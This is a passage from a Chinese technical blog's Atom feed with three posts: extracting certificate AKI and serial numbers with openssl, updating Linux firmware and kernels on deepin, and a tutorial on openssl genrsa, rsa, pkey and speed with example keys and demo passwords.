&lt;p&gt;输出内容如下:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:  # 序列号
            74:48:88:33:70:1a:01:a0:ad:32:29:6e:c5:ab:5a:fa:3b:91:25:a4
   ......
        X509v3 extensions:
           ......
            X509v3 Authority Key Identifier:    # keyid后面的内容就是 AKI
                keyid:45:B1:50:B6:CD:8A:8D:C5:9B:9E:5F:75:15:47:D6:C0:AD:75:FE:71

    ......
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;单独获取AKI&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;$ openssl x509 -in .fabric-ca-client&amp;#x2F;msp&amp;#x2F;signcerts&amp;#x2F;cert.pem -text -noout | awk &amp;#x27;&amp;#x2F;keyid&amp;#x2F; {gsub (&amp;#x2F; *keyid:|:&amp;#x2F;,&amp;quot;&amp;quot;,$1);print tolower($0)}&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出内容如下:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;45b150b6cd8a8dc59b9e5f751547d6c0ad75fe71
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;单独获取序列号&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;$ openssl x509 -in .fabric-ca-client&amp;#x2F;msp&amp;#x2F;signcerts&amp;#x2F;cert.pem -serial -noout | cut -d &amp;quot;=&amp;quot; -f 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出内容如下:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;mipsasm&quot; class=&quot;language-mipsasm &quot;&gt;&lt;code class=&quot;language-mipsasm&quot; data-lang=&quot;mipsasm&quot;&gt;74488833701A01A0AD32296EC5AB5AFA3B9125A4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>固件和内核驱动_内核驱动固件</title>
        <published>2024-12-27T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/固件和内核驱动_内核驱动固件/"/>
        <id>https://vercel.juzhong.asia/obsidian/固件和内核驱动_内核驱动固件/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/固件和内核驱动_内核驱动固件/">&lt;h1 id=&quot;gu-jian-he-nei-he-qu-dong-nei-he-qu-dong-gu-jian&quot;&gt;固件和内核驱动_内核驱动固件&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;qu-dong-zhe-teng-xiao-ji&quot;&gt;驱动折腾小记&lt;&#x2F;h2&gt;
&lt;p&gt;很多人更新了内核，但是自己的外设依然没有驱动，是因为仅仅更新内核是不够的，还需要更新&lt;strong&gt;固件&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shen-me-shi-gu-jian&quot;&gt;什么是固件？&lt;&#x2F;h3&gt;
&lt;p&gt;在许多设备能够与&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F&amp;amp;spm=1001.2101.3001.7020&quot;&gt;操作系统&lt;&#x2F;a&gt;通信之前，它们必须首先使用设备制造商提供的“固件”进行初始化。这个固件不是Linux
的一部分，也不是由内核“执行”的，它只是在驱动程序&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E5%88%9D%E5%A7%8B%E5%8C%96&amp;amp;spm=1001.2101.3001.7020&quot;&gt;初始化&lt;&#x2F;a&gt;阶段被上传到设备。&lt;&#x2F;p&gt;
&lt;p&gt;虽然有些固件映像是由自由软件
构建的，但其中很大一部分只能以&lt;strong&gt;二进制&lt;&#x2F;strong&gt;形式重新分发。为了避免任何许可混淆，固件从主Linux树移动到一个名为&lt;strong&gt;linux-firmware&lt;&#x2F;strong&gt; 的单独存储库中。&lt;&#x2F;p&gt;
&lt;p&gt;在没有任何非自由固件二进制文件的情况下使用Linux是可能的，但代价是很多硬件无法操作使用。此外，也有很多设备预装了闭源
（也称不自由）的固件。如果你的目标是运行一个100%免费的自由设备，你通常需要做的不仅仅是避免只使用二进制的固件。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ru-he-xia-zai-he-an-zhuang-gu-jian&quot;&gt;如何下载和安装固件？&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;jian-ce-gu-jian&quot;&gt;检测固件&lt;&#x2F;h4&gt;
&lt;p&gt;那怎样知道自己缺少哪些固件呢？可以在终端里执行下面命令。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo update-initramfs -u
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果缺少固件命令会输出“W: Possible missing firmware
&#x2F;lib&#x2F;firmware&#x2F;xxx&#x2F;xxx.bin for module XXX&lt;&#x2F;p&gt;
&lt;h4 id=&quot;xia-zai-gu-jian&quot;&gt;下载固件&lt;&#x2F;h4&gt;
&lt;p&gt;国内下载地址：https:&#x2F;&#x2F;mirrors.tuna.tsinghua.edu.cn&#x2F;kernel
&#x2F;firmware&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;官方地址：https:&#x2F;&#x2F;mirrors.edge
.kernel.org&#x2F;pub&#x2F;linux&#x2F;kernel&#x2F;firmware&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;固件地址是按照 &lt;strong&gt;日期&lt;&#x2F;strong&gt;排序的，尽量选择一个最新的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ti-huan-gu-jian&quot;&gt;替换固件&lt;&#x2F;h4&gt;
&lt;p&gt;系统的固件地址在**&#x2F;lib&#x2F;firmware&#x2F;**，将下载的固件解压，然后把要用的驱动XXX的固件.bin复制过去就可以了。&lt;&#x2F;p&gt;
&lt;p&gt;也可以直接将全部的固件直接复制到  &lt;strong&gt;&#x2F;lib&#x2F;firmware&#x2F;&lt;&#x2F;strong&gt;  下面替换就行了，由于是根目录下，需要管理员权限。&lt;&#x2F;p&gt;
&lt;p&gt;更新完成后执行, 然后重启电脑。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo update-initramfs -u
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;nei-he-shou-ji&quot;&gt;内核收集&lt;&#x2F;h3&gt;
&lt;p&gt;内核里面包含着开源
驱动,对，只有&lt;strong&gt;开源驱动&lt;&#x2F;strong&gt;，像是英伟达的N卡驱动是闭源驱动，是不可能包含到内核中的。如果你所用的设备的驱动没有开源，并且没有提供相应的闭源驱动，那是无法驱动的，例如 汇顶科技的很多指纹识别设备（不是全部），是无解的。&lt;&#x2F;p&gt;
&lt;p&gt;一般去两个作者主页翻一下，基本能找到比较新的内核，下载下来是deb包，双击安装即可。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;作者&lt;&#x2F;th&gt;&lt;th&gt;论坛主页🔗&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;fslong&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;bbs.deepin.org&#x2F;user&#x2F;120814&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;青稚°&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;bbs.deepin.org&#x2F;user&#x2F;292516&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;gao-zhi-liang-nei-he-xiang-guan-wen-zhang&quot;&gt;高质量内核相关文章&lt;&#x2F;h3&gt;
&lt;p&gt;分享一下论坛高质量文章：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;关于源内可用内核的查看、安装与本地内核的卸载：https:&#x2F;&#x2F;bbs.deepin.org&#x2F;post&#x2F;254997&lt;&#x2F;li&gt;
&lt;li&gt;给坛里的朋友介绍一种安装最新内核的方法：https:&#x2F;&#x2F;bbs.deepin.org&#x2F;post&#x2F;172006&lt;&#x2F;li&gt;
&lt;li&gt;写给Surface用户的Linux入坑指南：https:&#x2F;&#x2F;bbs.deepin.org&#x2F;post&#x2F;195290&lt;&#x2F;li&gt;
&lt;li&gt;[新手教程] deepin20.5+Linux内核5.18稳定版:&lt;strong&gt;https:&#x2F;&#x2F;bbs.deepin.org&#x2F;post&#x2F;237619&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;reltek8188GU无线网卡安装:https:&#x2F;&#x2F;bbs.deepin.org&#x2F;post&#x2F;211026&lt;&#x2F;li&gt;
&lt;li&gt;deepin 平台电源策略 :https:&#x2F;&#x2F;bbs.deepin.org&#x2F;post&#x2F;260831&lt;&#x2F;li&gt;
&lt;li&gt;[经验分享] 编译打包deb内核:https:&#x2F;&#x2F;bbs.deepin.org&#x2F;post&#x2F;256149&lt;&#x2F;li&gt;
&lt;li&gt;编译内核的教程，手动编译 kernel 的命令行教程 :https:&#x2F;&#x2F;bbs.deepin.org&#x2F;post&#x2F;247599&lt;&#x2F;li&gt;
&lt;li&gt;编译deepin主线内核:https:&#x2F;&#x2F;bbs.deepin.org&#x2F;post&#x2F;262451&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>openssl命令用法详解</title>
        <published>2024-12-24T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/openssl命令用法详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/openssl命令用法详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/openssl命令用法详解/">&lt;h1 id=&quot;opensslming-ling-yong-fa-xiang-jie&quot;&gt;openssl命令用法详解&lt;&#x2F;h1&gt;
&lt;p&gt;openssl命令的格式是”openssl cmd cmd-optns args”，cmd是openssl的子命令，官方手册上也称为伪命令(pseudo-command)。openssl有很多种子命令，每个子命令实现各自的功能，大部分cmd都可以直接man command查看命令的用法和功能。&lt;&#x2F;p&gt;
&lt;p&gt;本文并没有介绍所有子命令的用法，其中关于tls&#x2F;ssl证书相关的子命令(比如req、ca等)和相关内容，参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;junmajinlong.github.io&#x2F;linux&#x2F;openssl_ca&quot;&gt;openssl申请、颁发证书和自建CA&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;opensslyou-na-xie-zi-ming-ling&quot;&gt;openssl有哪些子命令&lt;&#x2F;h2&gt;
&lt;p&gt;以下是openssl支持的子命令，常用命令或可能用的上的命令加粗加红显示了，这些命令的用户在后面的文章中会一一介绍。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# openssl --help
openssl:Error: &amp;#x27;--help&amp;#x27; is an invalid command.

# 支持的标准命令
Standard commands
asn1parse   ca        ciphers    cms       crl
crl2pkcs7  dgst       dh         dhparam
dsa        dsaparam   ec         ecparam
enc        engine     errstr     gendh
gendsa     genpkey    genrsa     nseq
ocsp       passwd     pkcs12     pkcs7
pkcs8      pkeyparam  pkey       pkeyutl
prime      rand       req        rsa
rsautl     s_client   s_server   s_time
sess_id    smime      speed      spkac
ts         verify     version    x509

# 指定&amp;quot;dgst&amp;quot;命令时即单向加密支持的算法，实际上支持更多的算法，具体见dgst命令
Message Digest commands (see the `dgst&amp;#x27; command for more details)
md2   md4  md5  rmd160  sha  sha1

# 指定对称加密&amp;quot;enc&amp;quot;时支持的对称加密算法
Cipher commands (see the `enc&amp;#x27; command for more details)
camellia-128-cbc  camellia-128-ecb  camellia-192-cbc  camellia-192-ecb
camellia-256-cbc  camellia-256-ecb  cast   cast-cbc
aes-128-cbc  aes-128-ecb   aes-192-cbc   aes-192-ecb
aes-256-cbc  aes-256-ecb   base64        bf
bf-cbc       bf-cfb        bf-ecb        bf-ofb
cast5-cbc    cast5-cfb     cast5-ecb     cast5-ofb
des          des-cbc       des-cfb       des-ecb
des-ede      des-ede-cbc   des-ede-cfb   des-ede-ofb
des-ede3     des-ede3-cbc  des-ede3-cfb  des-ede3-ofb
des-ofb      des3          desx          idea
idea-cbc     idea-cfb      idea-ecb      idea-ofb
rc2          rc2-40-cbc    rc2-64-cbc    rc2-cbc
rc2-cfb      rc2-ecb       rc2-ofb       rc4
rc4-40       seed          seed-cbc      seed-cfb
seed-ecb     seed-ofb      zlib
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看上去非常复杂？其实不复杂，只是子命令多点而已，而且很多子命令经常用到的选项也就1到两个。&lt;&#x2F;p&gt;
&lt;p&gt;以下是各子命令的选项&lt;code&gt;-passin&lt;&#x2F;code&gt;和&lt;code&gt;-passout&lt;&#x2F;code&gt;可能使用到的密码传递格式，&lt;code&gt;-passin&lt;&#x2F;code&gt;指的是传递解密时的密码，&lt;code&gt;-passout&lt;&#x2F;code&gt;指的是传递加密输出文件时的密码。如果不给定密码格式，将提示从终端输入。这一点在后面的文章中将不再细述。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;格式一：pass:password   ：password表示传递的明文密码
格式二：env:var         ：从环境变量var获取密码值
格式三：file:filename   ：filename文件中的第一行为要传递的密码。若filename同时传递给&amp;quot;-passin&amp;quot;和&amp;quot;-passout&amp;quot;选项，则filename的第一行为&amp;quot;-passin&amp;quot;的值，第二行为&amp;quot;-passout&amp;quot;的值
格式四：stdin           ：从标准输入中获取要传递的密码
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例如，要加密某个密钥文件，使得每次使用该密钥文件都需要输入密码，则使用&lt;code&gt;-passout&lt;&#x2F;code&gt;指定加密密码，当使用被加密的密钥文件时需要解密，使用&lt;code&gt;-passin&lt;&#x2F;code&gt;传递解密密码。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;openssl-genrsa&quot;&gt;openssl genrsa&lt;&#x2F;h2&gt;
&lt;p&gt;genrsa用于生成RSA私钥，&lt;strong&gt;不会生成公钥，因为公钥提取自私钥&lt;&#x2F;strong&gt;，如果需要查看公钥或生成公钥，可以使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;junmajinlong.github.io&#x2F;linux&#x2F;openssl_subcmds&#x2F;index.html#openssl_rsa_pkey&quot;&gt;openssl rsa&lt;&#x2F;a&gt;命令。&lt;&#x2F;p&gt;
&lt;p&gt;使用man genrsa查询其用法。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl genrsa [-out filename] [-passout arg] [-des] [-des3] [-idea] [numbits]

选项说明：
-out filename ：将生成的私钥保存至filename文件，若未指定输出文件，则为标准输出。
-numbits      ：指定要生成的私钥的长度，默认为1024。该项必须为命令行的最后一项参数。
-passout args ：加密私钥文件时，传递密码的格式，如果要加密私钥文件时单未指定该项，则提示输入密码。
-des|-des3|-idea：指定加密私钥文件用的算法，这样每次使用私钥文件都将输入密码，太麻烦所以很少使用。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，&lt;code&gt;-passout args&lt;&#x2F;code&gt;传递密码的args的格式见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;junmajinlong.github.io&#x2F;linux&#x2F;openssl_subcmds&#x2F;index.html#blogpasswd&quot;&gt;openssl密码格式&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(1).生成512位的rsa私钥，输出到屏幕。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl genrsa 512
Generating RSA private key, 512 bit long modulus
..................++++++++++++
.........++++++++++++
e is 65537 (0x10001)
-----BEGIN RSA PRIVATE KEY-----
MIIBOwIBAAJBAMDIpW+o0E&amp;#x2F;XLUHB9XYgNcbLuiAA&amp;#x2F;wToy0v3GEIdtycWiK1ikXfo
XYf2PCd5ynFtNl7D8jXekr2wgnySNostXSkCAwEAAQJAdMmYnzovaA681fdAUl1U
9qd4i+bOlxTIA68fPP5vc&amp;#x2F;d+Kqk+fQlHsTmXo0ZpvdLig1v+5EsjoOlbNqkyjTVC
YQIhAPXuK5rPHlYIcmcSWrJNmmACSUz8NZb56cS&amp;#x2F;4Uq0f289AiEAyK1laGNVGIsg
ROLJqgTRP7vHHhXcQj3RhX9G&amp;#x2F;3oJBF0CIDtoEAJyW7qeibwaM+x0UIE2rCw7lFpm
&amp;#x2F;jA3xZ09IrdlAiEArvZW6stoHuz15nlgX+axVYLvWPCwR+TD70OH8ChDAlUCIQDi
LpanU8DwkkGU2KO&amp;#x2F;5jeDgUtA6jUICNkvPf5Ri5Yqag==
-----END RSA PRIVATE KEY-----
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(2).生成512位的rsa私钥，输出到指定的文件genrsa.txt。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl genrsa -out genrsa.txt 512

[root@xuexi tmp]# cat genrsa.txt
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBALKdL1RuPeEVlptzzbBYQM6ItPUXwQtVgPYpJH4cHX6UcoIlNaCt
zV+4fUAjH8ZZxdThsnuCJ9BQRgezTsFv4mUCAwEAAQJAd9le89FRNiItP7vxrb1a
Jvu2KKs6vmcuNH6g3PnylIbaI62vKavTVwcq&amp;#x2F;5VGqLPXwJWeaQVvLefHAEMnOVLF
oQIhAN7q7QB1JMOGBARnVcM9by&amp;#x2F;0XtJxkHgmZjwSzLEkJNsdAiEAzR8TodfzT0i&amp;#x2F;
NmnaykyUWtszKtdcsJfbMFZl872XOekCIQDZwfwK+mQTbBL4iklJE&amp;#x2F;ZNjhYi1TUf
acNs46B5Wql2MQIgMFzPaC1edKcWTmIO7&amp;#x2F;u2TuW33rYAaLKlP3RffWSKL2ECIHKF
7avQDhh84y+kdVf4CqJ+DE&amp;#x2F;N+SZcqZi&amp;#x2F;lMDs41BG
-----END RSA PRIVATE KEY-----
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(3).加密私钥文件，加密的密码为123456。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl genrsa -out genrsa.txt -des3 -passout pass:123456 512

[root@xuexi tmp]# cat genrsa.txt
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,8775D04B98C9C9EE

zx8ehH7qey+588&amp;#x2F;UVCKu37NFzMvYCBJr9jrryhg7AJtU9eKxFlDIAVNVvNqgG8k+
a5H4a7TCmHB15coFJH52tpmqdGdfo5+758QEgax&amp;#x2F;YLTPrlBufatb7ZOOpexvJMUe
oenkdYmgzUOj6WRrBUapzwwdhukXu3fpqxmke5ARBSgzsL7amvTLhSt+8ZmhITj6
Rjr55T9rFvCUUCCMKLVYzHgfrTrMTxidv4VsprO1TQ+W&amp;#x2F;&amp;#x2F;fJOqFqIGJZfbqVLXsb
&amp;#x2F;0w1vsmzgB0o0k1KHZVj7L4kTGd+j&amp;#x2F;2nUtc2eaaZUkUdWTu3OflXObg0JVW2a1pG
e67UfEQ0&amp;#x2F;xhDzFIz1yDyg0v7wozKOSh9c2etsn+NOJHNa7IBsAWX&amp;#x2F;7Ufz0uxCBuX
0PkJynaFEU6YMoN5RDdDAjnlcwWHqoEbd2RhyYgja+0=
-----END RSA PRIVATE KEY-----
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其实一般情况下能用到的选项也就&lt;code&gt;-out&lt;&#x2F;code&gt;和&lt;code&gt;numbits&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;openssl-rsahe-openssl-pkey&quot;&gt;openssl rsa和openssl pkey&lt;&#x2F;h2&gt;
&lt;p&gt;openssl rsa和openssl pkey分别是RSA密钥的处理工具和通用非对称密钥处理工具，它们用法基本一致，所以只举例说明openssl rsa。&lt;&#x2F;p&gt;
&lt;p&gt;它们的用法很简单，基本上就是输入和输出私钥或公钥的作用。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl rsa [-in filename] [-passin arg] [-passout arg]
            [-out filename] [-des|-des3|-idea] [-text]
            [-noout] [-pubin] [-pubout] [-check]

openssl pkey [-passin arg] [-passout arg] [-in filename]
             [-out filename] [-cipher] [-text] [-noout]
             [-pubin] [-pubout]

【openssl rsa选项说明：】
-in filename：指定密钥输入文件。默认读取的是私钥，若指定
             &amp;quot;-pubin&amp;quot;选项将表示读取公钥。将从该文件读取密钥，
             不指定时将从stdin读取。
-out filename：指定密钥输出文件。默认输出私钥，若指定&amp;quot;-pubin&amp;quot;
             或&amp;quot;-pubout&amp;quot;选项都将输出公钥。不指定将输出到stdout。
-pubin：指定该选项时，将显式表明从&amp;quot;-in filename&amp;quot;的filename中读
        取公钥，所以filename必须为公钥文件。不指定该选项时，默认
        是从filename中读取私钥。公钥文件可以通过文件中的公钥标识符
        &amp;quot;---BEGIN PUBLIC KEY---&amp;quot;和&amp;quot;---END PUBLIC KEY---&amp;quot;来辨别。
-pubout：指定该选项时，将显示表明从&amp;quot;-in filename&amp;quot;的filename中提
         取公钥并输出，所以filename文件必须是私钥文件。不指定该选项
         时，默认输出私钥。当设置了&amp;quot;-pubin&amp;quot;时，默认也设置了&amp;quot;-pubout&amp;quot;。
         私钥文件可以通过文件中的私钥标识符&amp;quot;---BEGIN PRIVATE KEY---&amp;quot;
         和&amp;quot;---END PRIVATE KEY---&amp;quot;来辨别。
-noout ：控制不输出任何密钥信息。
-text  ：转换输入和输出的密钥文件格式为纯文本格式。
-check ：检查RSA密钥是否完整未被修改过，只能检测私钥，因为公钥来源于
         私钥。因此选项&amp;quot;-in filename&amp;quot;的filename文件只能是私钥文件。
-des|-des3|-idea：加密输出文件，使得每次读取输出文件时都需要提供密码。
-passin arg ：传递解密密钥文件的密码。密码格式见openssl密码格式。
-passout arg：指定加密输出文件的密码。

【openssl pkey选项说明：】
-cipher：等价于openssl rsa的&amp;quot;-des|-des3|-idea&amp;quot;，例如&amp;quot;-cipher des3&amp;quot;。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(1).创建一个rsa私钥文件genrsa.pri，然后从中提取rsa公钥到rsa.pub文件中。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl genrsa -out genrsa.pri

[root@xuexi tmp]# openssl rsa -in genrsa.pri -pubout -out rsa.pub

[root@xuexi tmp]# cat rsa.pub
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCxitfLsvV58ogZr4hwdsEp7Mne
hShLasCZsE10jGxQLsxoJ7FSBsrnZPB4GBSuwEEXazZdo7547QdLxe9vVL3+YSu3
kPkd30tCTjf2HVywvj3ou2zgEdAIQTfQ0sODV6daO1bKZJxT1fIonEGuIQaefkqR
TxTQOxLIcfR0gayvgQIDAQAB
-----END PUBLIC KEY-----
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(2).创建一个加密的rsa私钥文件genrsaK.pri，然后从此文件输出公钥至文件rsaK.pub。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl genrsa -out genrsaK.pri -des3 -passout pass:123456
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时将提示输入密码才能读取该私钥文件。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl rsa -in genrsaK.pri -pubout -out rsaK.pub
Enter pass phrase for genrsaK.pri:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以使用”-passin”传递解密的密码。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl rsa -in genrsaK.pri -pubout -out rsaK.pub -passin pass:123456
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(3).移除私钥文件或公钥文件的密码。只需直接输出到新文件即可。以已加密的私钥文件genrsaK.pri为例。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl rsa -in genrsaK.pri -out genrsaNK.pri
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(4).check检测私钥文件的一致性，查看私钥文件被修改过。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl rsa -in genrsaK.pri -check
Enter pass phrase for genrsaK.pri:
RSA key ok
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDAXX2ZwqCtcJXiR9xr7lJhslBybeAo07Q1jYK9IT0atbj72jj+
3Eh5vbAjF0R5GF+luTBpGdhTVlt774oj+5m6zvkx785YpW9gRGroN9eglgvUu8iA
9nY30ulIOTEmpi&amp;#x2F;TfSBVIBL+XbqZ2pLtr05t59RsLkBcqD7huLq28TODTwIDAQAB
AoGALHWvMNl933g0&amp;#x2F;B6VwFBNtAzNcRUaCPWdIf955xKGl+TGQ1dVcvoguhpwWjvn
dIGAocHigXgaunAsJsHfUJ+3EMJn7SeI25NDraSRdgH6XFK7yKg3ed5Oh4zLmZEx
kEzh91jBkAwwM29&amp;#x2F;Vv0kbBiV6ZHH&amp;#x2F;zOxqkCylEaREQou4VECQQDjK6CrYtak+LR+
LbALGSCWeugMU3h2vweNDmTBVwhbHJXe0inCxrBgK9AXSMstnfmcwH1GR&amp;#x2F;b1Hzdj
U7TnImxpAkEA2McaDnRprd0pExHKeslyX93M&amp;#x2F;vUXRikr7H8pFke2lLmx8&amp;#x2F;HGVZHx
erJj8V8sLIIGRc&amp;#x2F;j0wPoY6hpf67YEeBa9wJBANEPHVWcKBy6JKDaOuB7x1m00khF
qN7e&amp;#x2F;nv5ew&amp;#x2F;SoIX40JO2pWfyoe5fY6mJ&amp;#x2F;DGG6GgxXRiIseTzTW3DYwAy1cECQFGz
WIKyJVI91Ek3n1R&amp;#x2F;r&amp;#x2F;eppKVCwi7TPZa4pkebZ5jOE9+Y8+M0SgqwSTKjaAauSqbt
HzRceK12v6w7vXufTykCQDoejWxVGsaxOW8H5D0+8dcF0JVW5hWljcBuvDd0aEJ0
R4tGO1twXzO1dWBbIFJHHIot6W+V1g5CxVPS4QSsdXU=
-----END RSA PRIVATE KEY-----
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在随便修改下私钥文件，再检测。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl rsa -in genrsaK.pri -check
unable to load Private Key
139890935146400:error:0906D066:PEM routines:PEM_read_bio:bad end line:pem_lib.c:802:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一般来说，openssl rsa的常用选项就只有&lt;code&gt;-in filename&lt;&#x2F;code&gt;、&lt;code&gt;-out filename&lt;&#x2F;code&gt;、&lt;code&gt;-pubout&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;openssl-speed&quot;&gt;openssl speed&lt;&#x2F;h2&gt;
&lt;p&gt;测试加密算法的性能。&lt;&#x2F;p&gt;
&lt;p&gt;支持的算法有：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl speed [md2] [mdc2] [md5] [hmac] [sha1] [rmd160] [idea-cbc]
              [rc2-cbc] [rc5-cbc] [bf-cbc] [des-cbc] [des-ede3]
              [rc4] [rsa512] [rsa1024] [rsa2048] [rsa4096] [dsa512]
              [dsa1024] [dsa2048] [idea] [rc2] [des] [rsa] [blowfish]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
